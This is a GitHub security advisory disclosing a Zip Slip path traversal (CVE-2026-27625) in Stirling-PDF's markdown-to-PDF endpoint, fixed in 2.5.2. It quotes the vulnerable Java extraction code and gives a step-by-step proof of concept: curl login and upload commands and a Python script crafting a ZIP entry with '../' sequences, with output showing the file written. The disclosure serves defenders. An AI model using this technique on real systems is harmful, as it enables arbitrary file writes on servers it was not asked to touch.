Skip to content

Path Traversal Vulnerability in /api/v1/convert/markdown/pdf Endpoint

High
Frooodle published GHSA-wccq-mg6x-2w22 Mar 20, 2026

Package

Stirling-PDF

Affected versions

2.5.0

Patched versions

2.5.2

Description

Summary

/api/v1/convert/markdown/pdf extracts user-supplied ZIP entries without path checks.
Any authenticated user can write files outside the intended temporary working directory, leading to arbitrary file write with the privileges of the Stirling-PDF process user (stirlingpdfuser).

Details

if (isZip) {
            // Handle ZIP file containing markdown + images
            try (TempDirectory tempDir = new TempDirectory(tempFileManager)) {
                // Extract ZIP to temp directory
                java.nio.file.Path tempDirPath = tempDir.getPath();
                try (java.util.zip.ZipInputStream zipIn =
                        io.github.pixee.security.ZipSecurity.createHardenedInputStream(
                                new java.io.ByteArrayInputStream(fileInput.getBytes()))) {
                    java.util.zip.ZipEntry entry;
                    while ((entry = zipIn.getNextEntry()) != null) {
                        if (!entry.isDirectory()) {
                            java.nio.file.Path filePath = tempDirPath.resolve(entry.getName()); // path traversal
                            java.nio.file.Files.createDirectories(filePath.getParent());
                            java.nio.file.Files.copy(zipIn, filePath);
                        }
                        zipIn.closeEntry();
                    }
                }

It doesn't validate ZIP entry paths before extraction, allowing path traversal (Zip Slip) and arbitrary file write outside the tempDirPath.

PoC

  1. Login as a normal user who includes workspace, role is not important.
image
curl -s -X POST 'http://localhost:8181/api/v1/auth/login' \
    -H 'Content-Type: application/json' \
    -d '{"username":"user@user.com","password":"useruser"}'
  1. Get user's token.
curl -s -X POST 'http://localhost:8181/api/v1/auth/login' \
    -H 'Content-Type: application/json' \
    -d '{"username":"user@user.com","password":"useruser"}'
{"session":{"access_token":"eyJraWQiOiJqd3Qta2V5LTIwMjYtMDItMTgtMDY0MjEwIiwiYWxnIjoiUlMyNTYifQ.eyJyb2xlIjoiUk9MRV9VU0VSIiwiYXV0aFR5cGUiOiJXRUIiLCJzdWIiOiJ1c2VyQHVzZXIuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdGlybGluZy5jb20iLCJpYXQiOjE3NzE0MDMzNDYsImV4cCI6MTc3MTQ4OTc0Nn0.1yPiX0cNNZyFpWMX94Ie-whSHmTYcDIHUM5_nmM2Y2nw1M1SZX7hl8m9j4jRdG48AyEmRKL6kdyyfu4Xj-uxdQ0XAK7qpCiBOnxY0pcDLGYZGJKQGAOdjcvXXiKQTKjWknRvQohikVohVvugX61Lqfus8feJ9zWRLhmathRzJmnx0VfpQVQw0pBsRXzrJRMuSJ2Bt-3ZCwzRkGyLj7Gjf8S6DbzDsIJxg0sSex435JPesaVxdkW7tITQpc2HqXf7CMFEAPtGPFiOTmFueCIAm90IZoPESHG-ba0zdvEaDF2iSmi4HU8huVswOBqqLalse5Dhh7FTxlPxMJx5ng7uKQ","expires_in":86400},"user":{"role":"ROLE_USER","user_metadata":{"firstLogin":false},"id":33,"authenticationType":"web","email":"user@user.com","enabled":true,"username":"user@user.com","app_metadata":{"provider":"web"}}}
  1. Make a malicious zip file.
python3 - <<'PY'
import zipfile
zip_path = "/tmp/poc.zip"
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("index.md", "# At least one md file")
    z.writestr("../../../../../../../tmp/poc", "Path Traversal")
print("created:", zip_path)
PY
  1. Upload the malicious zip file.
curl -i -X POST 'http://localhost:8181/api/v1/convert/markdown/pdf' \
    -H "Authorization: Bearer $TOKEN" \
    -F 'fileInput=@/tmp/poc.zip;type=application/zip'
  1. Verify whether the PoC file is created outside the tempDir.
root@81b1894a6426:/tmp# ls
OSL_PIPE_1000_SingleOfficeIPC_7bef55ee8580fd4f226dd664171f447  calibre-installer-cache  hsperfdata_stirlingpdfuser  xdg-1000
OSL_PIPE_1000_SingleOfficeIPC_85545a7ab39c52cf25567e2c4d82366  hsperfdata_root          stirling-pdf
root@81b1894a6426:/tmp# ls
OSL_PIPE_1000_SingleOfficeIPC_7bef55ee8580fd4f226dd664171f447  calibre-installer-cache  hsperfdata_stirlingpdfuser  stirling-pdf
OSL_PIPE_1000_SingleOfficeIPC_85545a7ab39c52cf25567e2c4d82366  hsperfdata_root          poc                         xdg-1000
root@81b1894a6426:/tmp# cat poc
Path Traversalroot@81b1894a6426:/tmp#
root@81b1894a6426:/tmp# ls -la poc
-rw-r--r-- 1 stirlingpdfuser stirlingpdfgroup

If file exists, the error message is returned:

curl -i -X POST 'http://localhost:8181/api/v1/convert/markdown/pdf' \
    -H "Authorization: Bearer $TOKEN" \
    -F 'fileInput=@/tmp/poc.zip;type=application/zip'
HTTP/1.1 500 Server Error
Date: Wed, 18 Feb 2026 08:35:51 GMT
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Request-Id: 07ffcf3b-0806-4cf0-9a6d-8f86b8d670a6
Set-Cookie: JSESSIONID=node0n87qghplhiru1nlwzeq9ec7v621.node0; Path=/
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application/json
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Frame-Options: DENY
Transfer-Encoding: chunked

{"error":"Job failed: java.nio.file.FileAlreadyExistsException: /tmp/stirling-pdf/stirling-pdf/stirling-pdf-11811535293135944842/../../../../../../../tmp/poc"}

Impact

Authenticated users can write attacker-controlled files outside the intended temporary extraction directory, with the privileges of the application process (stirlingpdfuser). This can overwrite writable files and compromise data integrity, with further impact depending on writable paths.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CVE ID

CVE-2026-27625

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits